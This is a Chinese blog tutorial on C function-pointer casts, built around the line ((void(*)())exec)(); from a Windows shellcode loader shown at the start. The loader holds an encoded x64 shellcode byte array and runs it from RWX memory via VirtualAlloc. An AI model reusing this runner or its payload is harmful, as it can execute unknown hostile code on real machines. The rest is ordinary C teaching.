代码
#define _CRT_SECURE_NO_DEPRECATE
#include "Windows.h"
int main()
{
unsigned char buf[] =
"\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xa2\xd8\x0e\xfe\xd3\xcd\x9c\xae\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x5e\x90\x8d\x1a\x23\x25"
"\x5c\xae\xa2\xd8\x4f\xaf\x92\x9d\xce\xff\xf4\x90\x3f\x2c\xb6"
"\x85\x17\xfc\xc2\x90\x85\xac\xcb\x85\x17\xfc\x82\x90\x85\x8c"
"\x83\x85\x93\x19\xe8\x92\x43\xcf\x1a\x85\xad\x6e\x0e\xe4\x6f"
"\x82\xd1\xe1\xbc\xef\x63\x11\x03\xbf\xd2\x0c\x7e\x43\xf0\x99"
"\x5f\xb6\x58\x9f\xbc\x25\xe0\xe4\x46\xff\x03\x46\x1c\x26\xa2"
"\xd8\x0e\xb6\x56\x0d\xe8\xc9\xea\xd9\xde\xae\x58\x85\x84\xea"
"\x29\x98\x2e\xb7\xd2\x1d\x7f\xf8\xea\x27\xc7\xbf\x58\xf9\x14"
"\xe6\xa3\x0e\x43\xcf\x1a\x85\xad\x6e\x0e\x99\xcf\x37\xde\x8c"
"\x9d\x6f\x9a\x38\x7b\x0f\x9f\xce\xd0\x8a\xaa\x9d\x37\x2f\xa6"
"\x15\xc4\xea\x29\x98\x2a\xb7\xd2\x1d\xfa\xef\x29\xd4\x46\xba"
"\x58\x8d\x80\xe7\xa3\x08\x4f\x75\xd7\x45\xd4\xaf\x72\x99\x56"
"\xbf\x8b\x93\xc5\xf4\xe3\x80\x4f\xa7\x92\x97\xd4\x2d\x4e\xf8"
"\x4f\xac\x2c\x2d\xc4\xef\xfb\x82\x46\x75\xc1\x24\xcb\x51\x5d"
"\x27\x53\xb7\x6d\xba\xef\x9c\xfd\xeb\x3c\xfe\xd3\x8c\xca\xe7"
"\x2b\x3e\x46\x7f\x3f\x6d\x9d\xae\xa2\x91\x87\x1b\x9a\x71\x9e"
"\xae\xa3\x63\xce\x56\x7d\xce\xdd\xfa\xeb\x51\xea\xb2\x5a\x3c"
"\xdd\x14\xee\xaf\x28\xf9\x2c\x18\xd0\x27\x48\xb0\x0f\xff\xd3"
"\xcd\xc5\xef\x18\xf1\x8e\x95\xd3\x32\x49\xfe\xf2\x95\x3f\x37"
"\x9e\xfc\x5c\xe6\x5d\x18\x46\x77\x11\x85\x63\x6e\xea\x51\xcf"
"\xbf\x69\x27\x93\x71\x42\x27\xdb\xb6\x5a\x0a\xf6\xbe\xe3\x80"
"\x42\x77\x31\x85\x15\x57\xe3\x62\x97\x5b\xa7\xac\x63\x7b\xea"
"\x59\xca\xbe\xd1\xcd\x9c\xe7\x1a\xbb\x63\x9a\xd3\xcd\x9c\xae"
"\xa2\x99\x5e\xbf\x83\x85\x15\x4c\xf5\x8f\x59\xb3\xe2\x0d\xf6"
"\xa3\xfb\x99\x5e\x1c\x2f\xab\x5b\xea\x86\x8c\x0f\xff\x9b\x40"
"\xd8\x8a\xba\x1e\x0e\x96\x9b\x44\x7a\xf8\xf2\x99\x5e\xbf\x83"
"\x8c\xcc\xe7\x5d\x18\x4f\xae\x9a\x32\x54\xe3\x2b\x19\x42\x77"
"\x12\x8c\x26\xd7\x6e\xe7\x88\x01\x06\x85\xad\x7c\xea\x27\xc4"
"\x75\xdd\x8c\x26\xa6\x25\xc5\x6e\x01\x06\x76\x6c\x1b\x00\x8e"
"\x4f\x44\x75\x58\x21\x33\x5d\x0d\x46\x7d\x17\xe5\xa0\xa8\xde"
"\xd2\x8e\x05\x33\xb8\x99\x15\xe5\xcb\x7c\x91\xb9\xcd\xc5\xef"
"\x2b\x02\xf1\x2b\xd3\xcd\x9c\xae";
void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();
return 0;
}
最终目标,理解((void(*)())exec)();
到底是啥?
理解
明确完最终目标后,我们来一步步的学习理解。
我们首先来复习一下,如果变量fp
是一个函数指针,那么如何调用fp
所指向的函数呢?调用方法如下:
(*fp)();// 标准的调用方法
fp(); // 简写的调用方法,因为ANSI C标准允许程序员将上式简写
因为fp
是一个函数指针,那么*fp
就是该指针所指向的函数,所以(*fp)()
就是调用该函数的方式。
这里用一段代码来理解一下函数指针怎么用:
#define _CRT_SECURE_NO_DEPRECATE
# include <stdio.h>
int Max(int, int); //函数声明
int main(void)
{
int (*p)(int, int); //定义一个函数指针
int a, b, c,d;
p = Max; //把函数Max赋给指针变量p, 使p指向Max函数
printf("please enter a and b:");
scanf("%d%d", &a, &b);
c = p(a, b); // 通过函数指针调用Max函数
d = (*p)(a, b); // 这样调用也行
printf("a = %d\nb = %d\nmax = %d,%d\n", a, b, c,d);
return 0;
}
int Max(int x, int y) //定义Max函数
{
int z;
if (x > y)
{
z = x;
}
else
{
z = y;
}
return z;
}
输出结果是:
please enter a and b:3 4
a = 3
b = 4
max = 4
看了这段代码,我想你已经大概知道函数指针要怎么用了。如果你还不清楚,请去http://c.biancheng.net/view/228.html再学习一下。
好的,那我们接着往下走。
上面那段代码中,int (*p)(int, int);
,我们定义p
是一个指向返回值为int
类型的且有两个int
类型参数的函数的指针,可能有点绕口,慢慢理解一下就行。
现在我们搞简单点,如果 fp
是一个指向返回值为void
类型的函数的指针 ,那么(*fp)()
的值应为void
,fp
的声明如下:
void (*fp)();
当我们知道如何声明一个给定类型的变量,那么该类型的类型转换符就很容易得到了:把声明中的变量名和声明结尾的分号去掉,再将剩余的部分用括号括起来就行。那么上面的fp
的声明void (*fp)();
的类型转换符就可以得出来了,如下:
(void (*)())
表示一个指向返回值为void类型的函数的指针。
到此为止,我们理解那段最终目标的代码所需要的前置知识已经全部复习完毕。
因此((void(*)())exec)();
就可以拆开理解了
( (void(*)())exec )();
// 先看中间部分,将exec进行强制类型转化成:指向返回值为void类型的函数的指针
// 此时 exec 已经是一个函数指针了,现在回忆一下,刚刚我们是怎么调用 函数指针所指向的函数的呢?
// 没错,就是(*exec)(); 或者直接使用简写 exec();
参考
下面将从《C缺陷与陷阱》中摘取部分内容来方便理解
版权属于:江南小虫虫
本文链接:https://fengwenhua.top/index.php/archives/64/
转载时须注明出处及本声明